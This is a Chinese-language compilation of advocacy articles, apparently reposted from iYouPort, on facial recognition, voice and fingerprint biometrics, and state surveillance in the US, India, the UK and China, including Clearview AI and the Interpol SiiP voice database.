如果不考虑面部识别技术的支持基础而简单地拒绝面部识别技术本身，并无法解决问题。

面部识别技术的一些前提条件是文化和历史根源。Simone Browne、C.Riley Snorton、Toby Beauchamp 等人的研究表明，这项技术起源于仇外心理、定居者殖民主义和对黑人的仇视，已被广泛用于偏见和压迫性监视。

过去几十年的监视范围不断扩大 —— 已经开始影响白人和富人 —— 但如果不提及对边缘社区进行监视的悠久历史，就无法理解该技术。

以国家为导向的分类（在科学家和技术专家的支持下）通常围绕着反土著和/或反黑人的努力将自身结构化，并借此将自己和其他族裔区分开来。

当前的禁毒战争、1990年代的边境恐慌、和冷战的焦虑妄想症，都导致了合法化扩大监视的范围 —— 要么太危险以至于需要新技术，要么太微妙以至于没有新技术就无法发现，或者两者兼而有之。

正是这段历史证明了排外主义和社会控制技术的最新发展 —— 面部识别、指纹识别、以及其他形式的跟踪和生物识别监视技术。

然后，这些技术经过自然化处理，以监视和控制 *当权者所认为的* “正常” 和 “异常”。

但是除了在意识形态上使其成为可能的社会文化条件之外，面部识别系统还需要一系列其他技术系统才能使其起作用。

从历史上看，面部识别技术就是这样工作的：一张人脸的静态图像将通过算法在其上映射点和线。这些点和线以及它们之间的关系，将被发送到包含其他图像的现有庞大数据库中，其中标记了相关的名称、日期和类似记录。然后算法会将提取的结构与现有结构进行比较，如果发现一张或多张匹配的照片，则会提醒操作人员。

为使这种恐怖的监视生态成为可能，需要的不仅包括文化惯例和规范 —— 在被警察询问时出示身份证、CCTV监视摄像机的可接受性 —— 并且，也需要技术基础设施 —— 这些算法、数据库、运行的硬件等

等。

不幸的是（或幸运的是）这种面部识别方法的效果不佳。

直到**2010**年，这份关于光线问题对其准确性的影响的报告显示，在“不受控制”的环境中，性能最佳的算法的错误率为15%。

政府数据库中收集的基本都是证件照（护照、身份证、驾驶执照等），而监视摄像头拍到的任何环境光线都比拍摄证件照的光线要差，当时的算法很难处理“源”照片和“目标”照片之间的角度和光线差异。

此后技术有所改进，但并不是因为一系列渐进的算法调整。相反，是由于在过去十年中，包括**CCTV**摄像机在内的高分辨率相机的大量增加，导致对面部识别技术的工作方式进行了全面改革。

现在，面部识别系统不再局限于一个人的朦胧画面，而是可以从一系列依序拍摄的视频静止图像中提取合成图像，从而消除了一些照明和角度差异的问题，使传统的面部识别方法变得可用。

只要您拥有高质量的视频，而不是采用像素化的单帧CCTV拍摄，就可以纠正不受控制环境中捕获图像的大多数问题。

但是后来研究人员又迈出了一步：他们意识到已经从这些新型（高分辨率、基于视频的）相机中获得了这些高质量的图像序列，因此他们决定编写算法，不能简单地从特定场景中剪掉脸部。

他们将脸部重建为3D模型，可以根据需要进行调整，使其“适合”可以与之进行比较的任何图像的角度和条件。

这种方法大大提高了面部识别的准确性。研究人员在2018年针对10个数据集（包括美国政府的标准数据集）进行测试时，发现准确率至少达到98%，而不是曾经盛行的“非受控捕获”的85%。

当前的面部识别技术具有如此高的准确性，使得当局梦想的那种无处不在的跟踪和监视系统成为现实，该系统将既有的CCTV监视和新的“智能”城市技术结合在一起（就如加州的路灯间谍那样）来追踪各个地方的人，并产生可以在事后进行监控和分析的档案。

但是要实现这点，通常还必须在城市中布满高清摄像机网络，将数据流传输到中央存储库中，然后可以将其无限次存储并进行梳理，以便在任何时候都能识别目标人。

没有独立存在的面部识别算法。它的存在取决于某些其他硬件、其他软件和某些基础结构。

而且一旦建立了该基础结构，无论是否禁止面部识别，该基础结构始终具有面部识别的潜力，并且在没有面部识别的情况下，经常也可以将其重新用于其他同类的监视目的。

是这些基础设施使面部识别技术难以约束。例如，旧金山的法令全面禁止面部识别，但是，对于摄像机网络和提供算法的数据库而言，宽容得多。

- 《禁止面部识别可以做到什么、不能做到什么》

如果一个城市引入了面部识别技术，而您花一年的时间针对它进行抗议活动并赢得了胜利，那很好 —— 但是该城市仍然有无数摄像机记录着公共空间并将其存储给鬼知道会保存多久的数据库，仍然有人类在监视那个数据库。

这不是假设：亚特兰大正是以24/7全天候监控实时集成视频的。

除此之外，保持监视基础架构的完好无损意味着可以将其复活。任何观看恐怖电影的人都知道，怪物有一种令人讨厌的趋势，即 具有显著的韧性。

监视基础结构也是如此。现在，萨默维尔禁止面部识别。但如果该城市在禁止使用该技术之前就已经使用过该技术，并且已经保留了基础设施，那么它将不仅可以在将来监视人们，而且还可以回溯监视。

重新授权该技术后，分析过去的录像并提取有关出现在录像中的数据是异常容易的事。这就是 Bonnie Sheehey 所说的 “temporal governmentality”，在该制度下，即使没有算法监视，也必须像正在发生那样运作，以备将来它可以追溯性地采用相同的偏见做法。

而且，当面部识别与单个软件更新一样便宜且容易实现时，很快就可以重新启用它。

幸运的是，电影中杀死怪物的解决方案也同样适用于面部识别：砍下头部或捣烂大脑。

也就是说，消除基础设施所依赖的东西，这些东西可以暂时用于效率较低但仍很危险的社会控制形式。

正式禁止面部识别绝对是一个开始，但是，只有在您打印封条并将其粘贴在每个已安装的监控摄像头上时，它才能提供真正的保护。

我们必须拆下那些摄像机，拔掉那些服务器的电源。

专门针对面部识别的激进抗议运动的策略没有错。抗议、组织、强迫国家提高透明度，并用它来严密地审问监视做法，既是好的工作，也是有效的。

但是，我们需要做的是确保将这项技术放在适当的背景下：不仅要抵制面部识别（它是更广泛的疾病的单一症状），还要对抗潜在的疾病本身。

应该努力禁止面部识别，应该庆祝成功，但也应该理解，“成功” 不仅仅意味着暂时阻止了该技术 —— 要摧毁所有骨骸，让它永远无法复活。〇

It’s not enough to make facial recognition illegal when its infrastructural legacy remains

原文

所谓的 “现代化” 是一个超级监视数据库 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2020年4月15日存档】如何通过监视器的外形推测是否使用了面部识别技术，是个问题。

去年底，新德里的机场成为该国第四个测试面部识别技术新用例的地方：该系统要求乘客通过机器扫描面部后登机。

预计在未来几年中，在新德里试行的这项技术将在印度所有主要机场中出现。

该计划的目标最初是在去年的政府文件中阐明的，声称为全国旅行者创建 “ Digi Yatra” 意为 “数字之旅”。

这绝不是该国面部识别技术的第一个实例。

在警察局、购物中心和学校，以及在其他各处使用的各种面部识别系统，面部识别技术现已在印度各地启动并运行。这些方案中的一些基于该市场上数十家私人监视技术提供商之一。

政府和私营部门的支持者认为，面部识别技术的广泛使用 —— 特别是与印度那个全球最大的监视系统国家生物识别技术结合使用时 —— “对于印度经济进入金融服务和商业的现代数字时代以及保护国家安全至关重要”。

而反对者指出：面部识别、生物识别身份证、和印度相对薄弱的个人数据隐私法相结合，都会带来相同的结果 —— 该监视系统的建立并不是为了造福或保护公民，正相反，而是为了加强对人民的中央级控制。

- 在这里看到关于印度的监视问题《全球最大的民主国家也是全球最大的监视国家》

尽管最近这种论点在印度变得尤为重要，但这并不是该国所独有的。

随着技术的进步，大规模部署监视技术的效率不断提高而且费用不断降低，全世界的人们越来越担心自己的脸正令人不安地成为公共财产。

- 《铁幕之下：全球反抗者如何对战监视者？》
- 《您应该了解的政府监视项目》
- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》

不断加剧的印度局势

印度在为身份验证消费者提供生物识别技术方面一直是热情和积极的早期采用者。

臭名昭著的 Aadhaar 于2016年推出，至今仍是世界上最大的国家生物识别ID系统。

反对者非常担心，与 Aadhaar 搭配使用时 —— 全国范围内公开收集面部识别数据的做法会给公民带来真正的问题。

特别令人担忧的是，正在为印度国家犯罪记录局（NCRB）建立的该国第一个集中式面部识别监视系统。该项目目前正在接受投标，它将创建一个庞大的公民面孔数据库，结合了十几个其他数据库的内容。

根据 NCRB 发布的一份竞标文件，该国家情报网格系统的目标是“使警察部队、信息收集、犯罪识别、核实、及其在全国各个警察组织和单位之间的传播，实现现代化。”

根据 Buzzfeed 的说法，实际上是指创建一个单一的主数据库，该数据库会将包含税收记录、银行明细、信用卡交易、飞机和火车旅行记录等等独立数据库链接在一起，变成一个超级版。

生物识别数据库 Aadhaar 是否将成为被连接在一起的数据库之一仍是一个悬而未决的问题。

- 《六千万美元的猖狂》

这将在事实上建立一个高度侵入性的监视国家，实时监视印度大约**13**亿公民。特别是，该系统将导致对印度境内特定公民群体的更深入镇压。

Carnegie India 的律师兼研究分析师 Vidushi Marda 表示："我认为[集中式的面部识别系统]将从根本上改变印度进行监视的方式。我知道[政府]的口号是所谓的 '安全'、'预防犯罪'，但这实际上是一种监视机制。"

他指出，面部识别技术是一个令人难以置信的终极监视系统，因为年龄增长、疤痕、纹身、假胡须和化妆所做出的修改都不一定能阻止该监视技术。

- 《让面部识别失效的思考方式》

NCRB 招标文件显示，这些监视系统还从草图、闭路电视摄像机的镜头、以及公共或私人视频提供的图像中提取数据，以将其用于 "如果发现与黑名单中内容匹配，则生成警报"。

纽约大学 AI Now 研究所全球战略和计划负责人 Amba Kak 说，每个人都必须在同一层面上讨论在每个公共场所大规模部署面部识别技术的含义。如何通过监视器的外形推测是否使用了该技术，是个问题。

全球对话

出于各种社会政治原因，印度是这场辩论的唯一发源地，但是同类的讨论并不罕见。去年，关于何时何地可以适当使用面部识别技术提出了许多难题，即使在公开露脸的情况下，消费者对其隐私也拥有一定的权利。

在英国，伦敦城市警察由于使用了一项耗资30亿英镑的项目在伦敦国王十字区安装的广泛面部识别监控技术而受到公众批评。

争议是双重的。首先，这个受欢迎的旅游目的地的开发商没有提及它在其CCTV监视摄像头系统中部署了面部识别技术，这引发了英国监管机构的调查。其次，对于警察如何使用该系统也存在明显的担忧。

去年《纽约时报》报道了中国先进的面部识别监视系统，以追踪和控制该国西部地区的维吾尔族人口。

报告指出，这对于这项技术而言是非常简单的任务 —— 因为维族人看起来与中国的大多数汉族人口不同，因此很容易被该技术识别。该技术已用于部署在新疆的 "再教育营" 中。

- 《开源调查图解新疆"再教育"营》

纽约大学的 Amba Kak 指出，当人们想到在印度这样的地方使用这种装置时，其含义迅速变得非常令人震惊。“你可以使用面部识别来检测种姓或宗教信仰吗？鉴于印度的两极分化的政治局势，我们的反乌托邦世界已经到来。”

在美国也是如此。自2016年以来，底特律警察一直在建立高清监控摄像头的互联网络，该网络将加油站、酒类商店、和其他通宵营业的实时视频流传输到中央警察指挥中心。面部识别技术将用于筛选图像。

该程序引起了极大的争议，但它依旧在向前发展。

底特律市警察局的 Willie Burton 问道：“如果该软件误认了一个人，此人没有能力进行良好的法律辩护，那会发生什么？”

去年旧金山官员投票决定禁止政府使用面部识别技术。该规则还呼吁城市机构提交其监控技术政策，以便公众对其进行审查并提出意见。

- 辩论模版《禁止面部识别可以做到什么、不能做到什么》

有趣的是，美国公众对此问题的关注似乎要少。根据最近的一项调查，由于所谓的安全问题和便利性，有81％的美国人表示对使用生物识别技术在机场确认身份“很满意”。

此外，调查显示，有42％的人表示他们愿意接受生物识别技术，因为他们认为有助于“预防恐怖主义”；35％的人表示，生物识别技术比传统形式的身份证明“更可靠”；33％的人认为当局应该时刻了解机场的人员；如果能更快地使他们通过机场，则有32％的人会支持该技术……

这些显然都是错误逻辑，都是当权者希望你相信的东西。关于为什么：

- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》
- 《便利的暴政》
- 《当每种生物识别都可以伪造时》
- 《如何从 Matrix 中醒来？》

似乎面临的挑战是，技术及其用例已经超越了受其限制的公众以及想要利用该技术的政府和私人实体的想象力，但目前尚不确定应该在什么地方以及在哪里限制。

显而易见，越来越多的专家看到了问题 —— 围绕这个话题的不确定性时代即将结束，有关面部识别和其极限的严肃讨论也将到来。

“我不会区分使用监视技术的好坏，而面部识别技术本质上就是监视技术。全球经验表明，[监视]是该技术的主要用途，如果要进行部署，我认为我们需要在部署之前就此进行广泛的公开讨论”，Amba Kak 指出。

中国有这样的辩论吗？参见我们 “生物识别及对抗方法” 栏目，其中有自我保护方法，也有辩论模版。〇

The Slow, Controversial Global March Of Face ID Tech

原文

指纹解锁不安全 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

美国纽约大学和密歇根州立大学研究人员透露，他们开发出一种人工智能指纹图像技术，这种基于深度学习的算法能生成“骗过”手机指纹解锁机制的指纹图像，甚至能解锁全球1/3的手机。

受设备存储空间所限，手机只存储部分而非全部指纹信息，导致目前手机使用的指纹解锁机制不够安全。黑客可能会利用人造指纹图像钻手机指纹解锁安全性差的漏洞，从而窃取巨额财富。

为加强指纹解锁安全性，专家建议手机生产商将指纹扫描直接集成在手机屏幕上，捕获并存储完整的指纹信息，进而提高指纹造假难度。

“电话和更多设备无法捕捉到你的整个指纹，设备上没有足够的空间，因此它们捕获了部分指纹—这不像完整图像那样安全。（人们认为）设备将指纹的图像拼接在一起，但事实并非如此—它保留了一组部分指纹。“

对于存储的每个手指代替密码，设备会保留多个图像。 如果有人之后使用他们的手指解锁该设备，他们只需要匹配其安全系统上的一个部分指纹图像。

研究人员表示，“如果存储三个手指的图像，设备可能会保留30个部分指纹。” “使用 MasterPrints，你只需创建五个或十个 ……”

他们补充说，这可以解锁“相当大”的手机数量—接近全球三分之一。“评估指纹识别系统中的漏洞的研究是在修复漏洞和发现漏洞之间不断的军备竞赛，”该报说。 “研究人员必须探索新的漏洞，以便修复漏洞。” 许多开发人员已经通过将传感器从设备按钮移动到屏幕，使指纹扫描仪更安全，从而可以获取更高分辨率的图像。

Researchers at New York University and Michigan State University have invented new artificial fingerprints, which they call DeepMasterPrints for hacking fingerprint sensor-enabled smartphones. DeepMasterPrints could prove to be a threat to the

various measures taken by companies for security, given security breach is something quite prevalent.

原文

提醒注意大规模监视新途径：国际刑警组织使用 192 个执法机构的样本推出*国际语音识别数据库*

生物识别-眼下最严重的威胁，以及怎么办

【2018年6月26日存档】当权者一直在千方百计地打破匿名。不论是线上加密技术、还是线下躲避监控摄像头的面纱，每一种寻求隐私权的努力都面对着大规模监控肆无忌惮的挑战。这篇报道所揭示的技术说明，这一挑战正在上升到前所未有的严重程度

编者按：当权者一直在千方百计地打破匿名。不论是线上加密技术、还是线下躲避监控摄像头的面纱，每一种寻求隐私权的努力都面对着大规模监控肆无忌惮的挑战。这篇报道所揭示的技术说明，这一挑战正在上升到前所未有的严重程度。

两年前一位采访敏感人士的独立记者告诉我，他采取了面部打码以保护受访对象的隐私。我提醒他：声纹也应该被编辑，并且要彻底销毁原始录音。利用声纹识别一个人的技术早已不是科幻电影中才有的东西。The Intercept 的报道证实了我当年的担忧。

昨天我们发布了一则消息：一名英国的税务人员在一个有争议的身份识别计划中暗中收录了数百万人的独特“声纹”，隐私活动人士警告这可能是非法的。政府已承认其在未经许可的情况下存储录音，现在正面临调查。隐私保护组织 Big Brother Watch 揭示，⚠ 自去年年初以来已经有 **510** 万名拨打热线电话的用户不得不说出’我的声音是我的密码’这句话。

这就是被纳入语音识别数据库的声音数据。每个人的声音都被记录下来并存储起来，用作高科技“安检”。在回电时声音被作为密码来解锁账户。⚠ 该计划的危险在于人们无法选择退出，声纹被强制收集并储存，没有经过每个人的同意。报道指出：万一数据库泄漏会导致个人银行账户被入侵。

现在看起来银行账户不是唯一面临危险的东西，英国也不是唯一采取这种方式侵犯隐私权的国家。国际刑警组织建立的语音生物识别数据库囊括了全球**192** 个执法机构的数据，这些数据是被那些政府利用各种方式—包括强制和诱骗—收集到的。并且你我不可能知道当权者会如何利用这些数据。

我曾经提醒一位正在学习德语的朋友：不用使用学习软件提供的按键朗读功能，你不知道你的语音数据会被什么人拿到，以及被用来做什么。这篇报道中所指出的，中国当局利用移动电话网络收集声纹数据的做法，则更加值得警惕。

⚠ 此事提醒人们注意：涉及重要话题时请不要使用语音通讯。

The Intercept:**INTERPOL ROLLS OUT INTERNATIONAL VOICE IDENTIFICATION DATABASE USING SAMPLES FROM 192 LAW ENFORCEMENT AGENCIES**

by Ava Kofman

June 25 2018, 7:15 p.m.*Illustration: Soohee Cho for The Intercept*

这是一项为期四年的耗资 1000万 欧元的项目，最近即将完成。

该项目名为 “Speaker Identification Integrated Project” 他们称之为 SiiP，标志着语音生物识别技术在执法领域国际扩展方面的一项重大发展—并且在隐私方面引发高度警惕。

这种语音识别技术的工作原理是获取已知语音的样本，捕捉其独特性，然后将这些特征转换成称为声纹或语音模型的算法模板。

通过在全球的音频数据库中收集到足够的声纹和样本，国际刑警组织的 SiiP 系统将能够上传未知的声音，并且不论是什么语言，都将这一声音数据与可能的备选列表进行匹配，以识别身份。

SiiP 的数据库允许上传和下载来自全球 192 个执法机构的样本。

SiiP 将加入国际刑警组织现有的指纹和人脸识别数据库，其关键“优势”在于能促进快速识别过程—比如绑架者拨打电话—这种没有其他识别码可以利用的时候。该平台还具备按性别、年龄、语言和口音过滤声音样本的功能。当录音来自类似的声学环境时，准确率可能非常高。

这项语音识别技术可以在每一次开口讲话的同时进行识别，并标记身份，基本可以称之为匿名终结者。

国际刑警组织的宣传视频称，使用 SiiP 的部门可以上传拦截到的电话，也可以在社交媒体上进行搜索。**SiiP** 的数据库将包括来自 **YouTube**、**Facebook**、公开录制的对话、网络协议通话技术录音以及其他个人可能完全没有意识到他们的声音正在变成生物识别的样本。

“由于各种原因，人们经常会选择在线上传资料，但我怀疑这项技术是让警察和武器公司将人们独特的生物识别信息登记到秘密数据库中，供世界各地的警方使用”，Privacy International 监视专家 Edin Omanovic 解释说。

人权观察研究员 Cynthia Wong 警告说，广泛的授权可能会导致隐私数据收集的范围不断扩大。“在很多情况下，人们可能会同意为了一个目的将自己的声音录制下来，但肯定会反对将其用于其他用途，包括使用我们的声音来构建和训练大量的语音生物识别数据库和识别系统这种做法”，她说。“或者我们可能根本不同意自己的声音被录制—也许我们的声音被秘密录制了、或无意中被出现在录音背景中，但现在已被放置在国际刑警组织的数据库里”。

国际刑警组织的系统似乎代表了迄今为止最大的国际声音收集努力。但正如最近国际刑警调查报告所指出的，许多执法机构已经悄然使用了语音识别系统。在接受调查的 **69** 个国家的 **91** 个部门中，超过半数已经运行了 **SiiP** 程序。在 **2010** 年，墨西哥宣布该国已经创建了世界上第一个全国性的自动语音识别系统，使用俄罗斯的语音技术中心。

The Intercept 一月份报道显示，国家安全局至少在 2004 年以来一直使用语音识别系统监控政治家、机构雇员、毒贩、间谍或者恐怖分子。国土安全部的新 HART 数据库—除了 DNA、疤痕和纹身之外，已经储存了全球人口生物识别数据中的一小部分—包括语音数据。

人权观察去年发布了一份重磅报告，揭露了中国最先进的系统，该系统似乎与移动电话网络相结合，并实时识别已知目标人的声音。Wong 对此表示，中国的综合监控系统很可能为其他国家的效仿提供先例。

目前还不清楚能有哪些法律可以阻止创建这种国际生物识别数据库，这些生物识别数据库可以无限期地保留数据。可以监督情报机构的力

量很少。Wong 说："刑警组织如何确保其他机构提交的声音样本是合法截获的？根据我们的调查工作，世界各地的许多国家基本不具备对监视行为的有效监督"。

Wong，Omanovic 和其他人也关注那个创建可疑声音"黑名单"的计划。不知道将由谁来审核这个名单，国家行为者将某个人加入这一黑名单所依照的是什么标准，以及如果有人被错误地加入了黑名单会发生什么，Omanovic 说。Wong 想知道，在某些政府致力于打压持不同政见者或定罪记者的国家里，这类技术的使用将采用何种保障措施。

国际刑警组织关于研究生物识别伦理学的报告已经承认了这种收集可能具有巨大的寒蝉效应。但是该报告说："对从未实际查看的音频数据进行处理本身不算入侵，虽然它可能导致未来的入侵。特别是在调查背景下，其目标是为将来的审查确定嫌疑人"。该报告也承认了："即使没有人查看，这些技术的应用本身也会产生类似真实入侵的后果：这类技术很容易导致人们因担心自己的信息被暴露，从而变成循规蹈矩、变成无原则认同权力的木偶。"

Verint 是一家跨国生物识别技术公司，一直领导着该项目的开发。该公司没有回应评论请求。

正如国际隐私组织所记录的，该公司已被证实"在全球范围内销售并安装侵入式和大规模监视系统，包括将这类技术卖给威权政府。"Omanovic 说，"此事足见道德意识之欠缺已经到了足够危险的程度。欧盟正在进行没有任何公开辩论的证券化。而最终，军火行业工作者才是终极受益者。"

原文

政府是否应该能够在您的余生中追踪您在屋外的一举一动？ - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2020年8月11日存档】说实话，他们真的可以这么做，并且不违法。这场噩梦并不是现在才出现的，却现在才引起恐慌；但恐慌应该带来思考并获得答案，而非仅仅是一种情绪 ……

Clearview AI只需要一张照片就可以开始搜索。

界面很简单：您所要做的就是拍摄一张脸部的照片，将其上传，然后该面部识别应用在网络上扫描多达30亿张照片，以查找匹配的图像。

在几秒钟内，它就能提供找到的图片以及相关链接。

您的脸很可能包含在这30亿张图片中。

Heather Reynolds 也许更有理由担心面部识别技术。去年11月，她以某种方式设法从佛罗里达州莱克县的 Ace五金店偷走了两个烤架和一个吸尘器，大约价值约12000美元的物品。

如果不是因为监控镜头和 Clearview AI，她很可能不会被抓住。

执法部门没有 Reynolds 的姓名、地址或电话号码，但是，从监视摄像头中捕获到一个模糊的照片后，一切都变了。两天后，Reynolds 被认出并被捕。

终生监视升级

「图」

这是一款非常有用的软件。查找某人的身份、与他有关系的任何人、以及此人在网上的一切行踪 …… 从未如此简单。

对于执法而言，该应用程序是一个福音。对你我来说则完全相反，

纽约时报报道，新泽西州克利夫顿市警察局的一名警察说，该应用程序“可以在几秒钟内识别出任何犯罪嫌疑人。”

是任何哦！这取决于他们将什么定位目标。看看他们将反抗者定为目标的后果👇。在中国发生过什么，所有人都知道。

- 《我被警察折磨至精神崩溃：现在我必须爬起来战斗》

尽管 Clearview AI 可能是该行业的最新发展，但是面部识别技术并不是新事物。就算是 Clearview，也是在纽约时报报道了它的功能和用途时它才首次进入大众视野。

实际上，面部识别软件已经存在了近20年，其熟练度和扩散性也在不断增长。

- 人脸识别技术最初是迪士尼主题公园用的，用来帮游客挑照片做纪念品。而在占领华尔街运动其间，这项技术已经被用来抓捕抗议者了。如今，中国已经加入全球人脸识别的盛宴…… 详见《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》

不止那些寡头，Chainalysis，Affectiva，FaceFirst，Sensory Inc. 和 TrueFace.Ai 等等美国的软件公司都在致力于开发面部识别技术。并且在迅速实施。

- 《美国和中国在监视公民方面引领全球》

美国国立司法研究所在一项研究中发现，五分之一的身体摄像头制造商正在为其产品添加人脸识别技术。

- 《身体相机适得其反吗？中国正在开始流行这种东西》

执法只是冰山一角。营销、游戏和网络都是可以使用面部识别技术的领域。2016年，Pepperdine Law Review 进行的一项研究发现，人脸识别甚至可以用于医学中，通过评估面部结构来发现遗传状况。

这是一个简单的道理：面部识别功能强大且有用。效果还不错。如果对话到此为止，那么它的快速发展似乎是天生的好事；但是，现实是：这项技术的开发和使用比规定其适当使用的法律的增长要快得多。对许多人来说，这是一个严重的问题。

简答说，你无法限制它 *只* 用在正确的地方。

缺乏适当的法律准则

「图」

关于如何使用人脸识别，尚无明确的界限。没有法律告诉面部识别使用者他们可以走多远，或者至少现在能走多远。

在美国，人们所拥有的仅仅是一些最高法院的案件，这些案件为政府使用侵入性技术提供了基本准则。

1968年的《窃听法》是源于 Katz 诉美国和 Berger 诉纽约的裁决，它阻止了执法人员窃听嫌疑人的电话。在2017年 Carpenter 诉美国一案中，最高法院裁定，政府在没有手令的情况下不能追踪公民的电话。

就人脸识别而言，1974年的《隐私法》规定了专门针对FBI使用的人脸识别软件的限制规则。

还有其他许多科技公司、组织、甚至州都已开始限制人脸识别软件的使用。

- 《禁止面部识别可以做到什么、不能做到什么》

但是，美国国会尚未制定规范人脸识别商业用途的联邦隐私法，并且目前所有可能与之相关的法律都没有完全解决人脸识别的隐私核心问题。

- 别忘了《中国的反乌托邦监视国家是美国制造的》

去年五月，EFF对执法方面的人脸识别使用进行了调查，发现："采用面部识别技术是在没有任何有意义的监督的情况下进行的 …… 并且没有颁布防止内部和外部滥用的法律保护措施。"

在研究了有关人脸识别的法律先例后，波士顿大学期刊的作者 Sharon Nakar 和 Dov Beenbaum 得出结论："美国法院似乎在是否存在匿名权方面 —— 保护人们免受[面部识别技术追踪]方面 —— 的分歧最大。 …… 在这项技术变得更加牢固之前，需要做出新的努力以在所有利益相关者之间达成共识。"

新泽西，EFF 和这些作者都关心同一件事：人脸识别将如何影响隐私的未来。谁可以使用面部识别技术？用户是否可以随时访问数据？如

果您不希望自己的脸出现在可搜索的数据库中该怎么办？……

这些是要考虑的许多不同组件。但是，它们都取决于同一场斗争：在公民的隐私人权与面部识别可能带来的潜在利益之间如何取得平衡。

隐私人权和面部识别技术

「图」

“隐私权”一词从未出现在美国宪法中。然而，隐私权的概念已成为数百万人生活中的重要法律组成部分。

因此，如果它不是来自宪法，那么隐私权又是哪里来的呢？在1965年的 Griswold 诉康涅狄格州一案中，最高法院裁定，隐私权不是显性权利，而是隐含在第一、第三、第四和第九修正案中。

他们的推理是这样的：如果公民有权使用其言论自由，如果政府不能将军队部署在人们家中，如果公民有权保护自己的人员、文件和房屋免受不合理的搜查和没收，如果宪法中的权利可能并不详尽，宪法确实表明，公民与国家之间存在一定的空间，政府不得跨越。

这就是政府即使不认为您可能在做违法的事，也常常不能在没有授权的情况下搜查您手机的原因。这就是政府不能使用热成像技术偷窥您房屋内部的原因。而且，如前所述，这就是政府不能使用您的电话数据来跟踪您的原因。

但是，对于一张脸来说呢？政府可以使用脸孔来查找涉嫌犯罪的人的身份和一切在线信息吗？也许 …… 那要看你在哪里了。

回想 Reynolds 的案子。在决定从 Acre 五金店偷两个烤架和一个吸尘器之前，Reynolds 只是一个普通的、无辜的佛罗里达人。即便如此，有一件事使她的脸可被搜索。她做了非法的事 —— 并且在公开场合做的。

她做违法的事使警察有理由搜查她的脸，但是，这并不是重要的部分。

这里的不同在于，Reynolds 当时不在私人空间中。

警察认为，Reynolds 踏入公共场所的那一刻，她就失去了隐私权，否则本来可以保护自己的脸免受人脸识别搜索。这就是为什么。

全世界的警察都这么认为。

只要你走出这扇门，一切就结束了

「图」

1967年，最高法院在 “Katz诉美国” 案中裁定，一个人有意向公众公开的物品不再受《第四修正案》保护。

换句话说，对所有人都是一样的 —— “您不能在公共场合主张隐私权”。

通常，这并不是真正的问题。毕竟，人们通常不会拿走你的地址，姓名和在线信息，到处传播。

但是，每当您穿过购物中心、Ace五金店、或繁忙的街道旁时，您都愿意将自己的脸露出来。而只要有了一张照片或来自监视摄像机的录像，掌握人脸识别技术的任何人都有机会找到该面孔可能在线出现的任何地方。

目前尚无明确答案。取缔拍照和监控摄像头实际上是不可行的。政府无法简单地禁止私人公司使用人脸识别，而且它太强大了，也无法从执法部门手中拿走。

从政策的角度来看，要在人脸识别的好处和隐私人权之间找到平衡，这将是未来几年必须解决的问题，主要是通过反复试验。它使个人利益与更大社区的潜在利益相抵触。

以所谓的国家安全的名义

「图」

与朋友见面在购物中心吃午饭听起来像是度过一个星期六下午的平凡模式。如果没有那两个细节的话。而对于 Alim 来说可能就是这种情况。Alim 恰好是一名维吾尔族穆斯林、新疆居民。

根据NPR的说法，要进入中国购物中心，您必须经过一个安检站，该检查站看起来像是金属探测器和地铁入口那种安检机器的组合。

您需要刷政府签发的身份证，用监视摄像头扫描自己的脸，才能进去。

Alim 的朋友经过扫描并顺利通过。但是当 Alim 刷自己的身份证时，他得到了截然不同的结果。

“我扫描了我的ID… 几乎瞬间橙色警报就响起来了，” Alim 对NPR的记者说。橙色警报是为识别到潜在的恐怖分子和罪犯嫌疑人的名字时的反应。

片刻之后，警察就跑来把 Alim 带走了。

经过短暂的审问，Alim 被释放，并建议他如果不想在其他安检站再次遭到拘留和审讯，那就最好留在家里。

但是政府不需要检查站也能随时找到他。通过使用面部识别，中国执法人员可以在交通路口、便利店、银行或机场等任何地方找到 Alim。

只要他出现在任何摄像机的范围内，无论他走到哪里，Alim 的“橙色警报”状态都会跟随着他。

但是为什么要监视？Alim 家乡新疆的警察认为，存在所谓的 “三大弊端：极端主义，恐怖主义和分裂主义”。维族人被认为是不同的。他们是穆斯林。他们具有非常独特的文化身份。它们不是政府希望看到的“中国”版本。维吾尔族穆斯林被视为对中国同质化的挑战。

- 被监视破坏的穆斯林公民的反抗案例，值得学习《高明的反抗》

卫报说，使用面部识别监视像 Alim 这样的人是中国版反恐战争的一部分，“目标不是外国人，而是国内少数族裔，这些族裔似乎在威胁中共的独裁统治。”

即使 Alim 从未进过监狱、从未被被捕或触犯法律，他的种族和文化特征也足以使他成为全天候被监视的目标。

- 别忘了《西方学术界帮助构建了中国的自动化种族主义》

于是您知道了

「图」

一切取决于当权者的价值观。这不仅是不公平的，而且非常危险。每一个当权者都会将威胁到自身权力稳固的一切视为敌人。

面部识别技术本身很可能无法阻挡，但是避免被捕捉目前仍然是可行的。具体方法见 列表- 1 中的 “生物识别和防御方法”。

不过，我们不能一直停留在躲藏的层面上。

那是那句话，如果技术不能是民主的，那么社会就无法是民主的。人脸识别也一样，它可以帮助NGO组织寻找失踪儿童、可以帮助公民调查人员追踪权力关系内幕、可以帮助记者寻求真相 ……

于是重点在于，让公民掌握技术。

- 《人脸识别可以自制，你知道吗？而且非常简单》
- 《面向大众的 “面部识别” 技术：Yandex》

○□

原文

数百万照片数据库秘密聚集在美欧以开发面部识别：中国享用了多少？ - iyouport

作恶者：谁在帮中国协助暴政的家伙们生物识别-眼下最严重的威胁，以及怎么办

【2019年11月13日存档】这是一个持续了十多年的大型监视证据，并且惊人地被很多国家的监视项目分享。但为什么，直到现在才报道？而且报道并不完整……

“纽约时报” 发布的一份报告显示，有数百万张面部照片来自隐藏的监视摄像头，一直被储存在用于人工智能（AI）研究和开发目的的数据库中，而且已经共享了十多年。

⚠由名牌大学和科技公司秘密创建的该照片数据集一直以来被广泛用于面部识别和生物识别技术的研发，这些技术现在被全世界的警察和国家情报机构普遍使用。

⚠这个大型数字脸部和“自拍”照片数据库来自网站、社交媒体、照片共享应用程序和在线约会平台，并没有经过授权，也包括被公共场所的监视相机拍摄到的图像 —— 该数据集已经被国家机构、软件工程师和研究人员使用人工智能算法和图像模式分析，以寻求创造更前沿的面部识别技术。

延伸：《你曾经在社交网络上发布过自己的照片？你危险了！》

